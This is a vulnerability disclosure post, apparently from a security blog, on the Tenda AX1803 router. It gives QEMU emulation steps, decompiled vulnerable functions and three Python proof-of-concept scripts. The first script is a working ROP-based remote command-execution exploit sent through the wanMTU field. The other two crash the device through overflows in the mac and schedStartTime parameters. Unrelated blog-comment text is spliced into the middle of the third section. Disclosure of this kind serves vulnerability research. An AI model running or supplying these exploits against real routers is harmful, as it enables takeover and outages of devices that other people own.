

10g4n

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Tenda ax1803 is vulnerable to a buffer overflow

Tenda ax1803 is vulnerable to a buffer overflow

Setting up the environment

Create a br0 NIC:

```
sudo tunc1 -t br0 -u root
sudo ifconfig br0 192.168.0.1/24
```

Copy qemu-arm-static to the corresponding directory on the filesystem and start the tdhttpd service:

```
sudo chroot . ./qemu-arm-static ./bin/tdhttpd
```

The first vulnerability

A stack overflow vulnerability exists in the fromAdvSetMacMtuWan function, which can lead to a denial of service or remote code execution vulnerability through a carefully constructed http request.

```
void __fastcall fromAdvSetMacMtuWan(_DWORD *a1)
{
    int v1; // r4
    int v3; // r0
    int v4; // r9
    int v5[2]; // [sp+0h] [bp-8h] BYREF
    char v6[256]; // [sp+8h] [bp+0h] BYREF

    v1 = 0;
    v5[0] = 0;
    v5[1] = 0;
    memset(v6, 0, sizeof(v6));
    allocbuf("wan1.connecttype", (int)v5);
    v3 = atoi((const char *)v5);
    v4 = sub_8C444((websRec *)a1, v3);
    if ( atoi((const char *)v5) == 2 )
        v1 = sub_8C594((websRec *)a1);
    if ( v1 | sub_8C6C8(a1) | v4 )
    {
        snprintf(v6, 0x100u, "op=%d", 22);
        send_msg_to_netctrl(2, (int)v6);
    }
    status_200(a1, "{\"errorCode\":0}");
}
```

```
v5 = getValue(a1, "wanMTU", (int)&byte_1EACC5);
strcpy((char *)v9, v5);
result = strcmp((const char *)v9, (const char *)v8);
if ( !result )
    return result;
if ( a2 == 1 )
{
    SetValue((int)"static.mtu", (int)v9);
    return 1;
}
```

The proof-of-concept code for the vulnerability is as follows:

```
import requests,sys
from pwn import *

url = sys.argv[1] + "/goform/AdvSetMacMtuWan"
```

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```
cmd = sys.argv[2]

libc_base = 0xfef99000
gadget1 = 0xff08dcdc # mov r0, sp ; blx r3
gadget2 = 0xff01987c # mov r3, r4 ; mov r0, r3 ; pop {r4, pc}
system_addr = 0xfefd06c8

payload = '128999999999' + p32(system_addr) + p32(0xdeadbeef)*3 + p32(gadget2)
payload += p32(0xdeadbeef) + p32(gadget1) + cmd
payload = "wanMTU=%s&wanSpeed=0&cloneType=0&mac=00:00:00:00:00:01"%payload
content_length = len(payload)
headers = {
    "Host": "192.168.0.1",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like G",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "Origin": "http://192.168.0.1",
    "Referer": "http://192.168.0.1/main.html",
    "Content-Length": "%d"%content_length
}

r = requests.post(url, headers = headers, data = payload)
```

The Second vulnerability

A heap overflow vulnerability exists in the GetParentControlInfo function, which can cause a denial of service attack through a carefully constructed http request.

```
v2 = (cJSON *)cJSON_CreateObject();
memset(s, 0, sizeof(s));
v21 = 0;
snc = getValue(a1, "mac", (int)&byte_1EACC5);
v3 = (unsigned __int8 *)malloc(0x254u);
v4 = (const char *) (v3 + 2);
memset(v3, 0, 0x254u);
strcpy((char *)v3 + 2, snc);
```

The proof-of-concept code for the vulnerability is as follows:

```
import requests,sys
from pwn import *

url = sys.argv[1] + "/goform/GetParentControlInfo"

payload = 'a'*0x400
payload = 'mac=%s'%payload
content_length = len(payload)
headers = {
    "Host": "192.168.0.1",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like G",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "Origin": "%s"%url,
    "Referer": "%s/main.html"%url,
    "Content-Length": "%d"%content_length
}

r = requests.post(url, headers = headers, data = payload)
```

The third vulnerability

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1. Re:漏洞分析: CVE-2017-17215
好耶, 又找到了
2. Re:漏洞分析: CVE 2021-3156
大神, 虽然看不懂, 但是貌似很厉害的
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3. Re:House_of_orange 学习小结
学弟帮忙点个推荐啊, 哈哈哈哈哈
4. Re:House_of_orange 学习小结
好耶,写的太详细了

A heap overflow vulnerability exists in the setSchedWifi function, which could cause a denial of service by constructing an http request.

```
v2 = getValue(a1, "schedWifiEnable", (int)"1");
schedStartTime = getValue(a1, "schedStartTime", (int)&byte_1EACC5);
schedEndTime = getValue(a1, "schedEndTime", (int)&byte_1EACC5);
timeType = getValue(a1, "timeType", (int)"0");
day = getValue(a1, "day", (int)"1,1,1,1,1,1");
v4 = (char *)wifi_get_mibname((int)"wlan", (int)"enable", (int)s);
allocbuf(v4, (int)v14);
if ( !LOBYTE(v14[0]) )
    strcpy((char *)v14, "1");
if ( atoi(timeType) )
    _isoc99_sscanf(day, "%d,%d,%d,%d,%d,%d", &v17, &v18, &v19, &v20, &v21, &v22, &v23);
SetValue((int)"sys.sched.wifi.timeType", (int)timeType);
v5 = (char *)malloc(0x19u);
v13 = atoi(v2);
if ( v5 )
{
    *v5 = atoi((const char *)v14) != 0;
    v6 = atoi(v2) != 0;
    v5[1] = v6;
    strcpy(v5 + 2, schedStartTime);          // 可能存在堆溢出
    strcpy(v5 + 10, schedEndTime);          // 可能存在堆溢出
}
```

The proof-of-concept code for the vulnerability is as follows:

```
import requests,sys
from pwn import *

url = sys.argv[1] + "/goform/openSchedWifi"

payload = 'a'*0x400
payload = 'schedWifiEnable=&schedStartTime=%s&schedEndTime=&timeType=&day=%s'%payload
content_length = len(payload)
headers = {
    "Host": "192.168.0.1",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like G",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "Origin": "%s"%url,
    "Referer": "%s/main.html"%url,
    "Content-Length": "%d"%content_length
}

r = requests.post(url, headers = headers, data = payload)
```

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